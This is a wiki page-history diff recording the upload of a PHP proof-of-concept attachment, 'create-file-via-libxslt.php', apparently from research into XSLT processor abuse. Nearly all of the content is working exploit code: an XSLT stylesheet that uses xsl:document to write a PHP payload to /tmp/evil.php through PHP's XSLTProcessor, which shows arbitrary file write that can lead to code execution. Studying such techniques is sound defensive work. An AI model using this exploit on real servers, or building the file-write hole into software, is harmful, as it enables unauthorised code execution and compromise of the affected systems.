Changes for page Application_PHP5

Last modified by Nicolas Gregoire on 2012/02/02 17:29

From version

edited by Nicolas Gregoire
on 2012/01/13 16:34

Change comment: Deletion of attachment create-file-via-libxslt.php

To version

edited by Nicolas Gregoire
on 2012/01/13 16:34

Change comment: Upload new attachment create-file-via-libxslt.php

Summary

create-file-via-libxslt.php

Author

...	...	@@ -1,0 +1,1 @@
	1	+xwiki:XWiki.NicolasGregoire

Size

...	...	@@ -1,0 +1,1 @@
	1	+601 bytes

Content

@@ -1,0 +1,33 @@
++<?php
++
++$sXml = '<empty/>';
++
++$sXsl = <<<EOT
++<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
++
++	<xsl:template match="/">
++		<xsl:document href="/tmp/evil.php" method="text">
++			<xsl:text><![CDATA[<?php phpinfo() ?>]]></xsl:text>
++		</xsl:document>
++	</xsl:template>
++
++</xsl:stylesheet>
++EOT;
++
++# LOAD XML FILE
++$XML = new DOMDocument();
++$XML->loadXML( $sXml );
++
++# LOAD XSLT FILE
++$XSL = new DOMDocument();
++$XSL->loadXML( $sXsl );
++
++# START XSLT
++$xslt = new XSLTProcessor();
++$xslt->importStylesheet( $XSL );
++
++# TRASNFORM & PRINT
++print $xslt->transformToXML( $XML );
++
++?>
++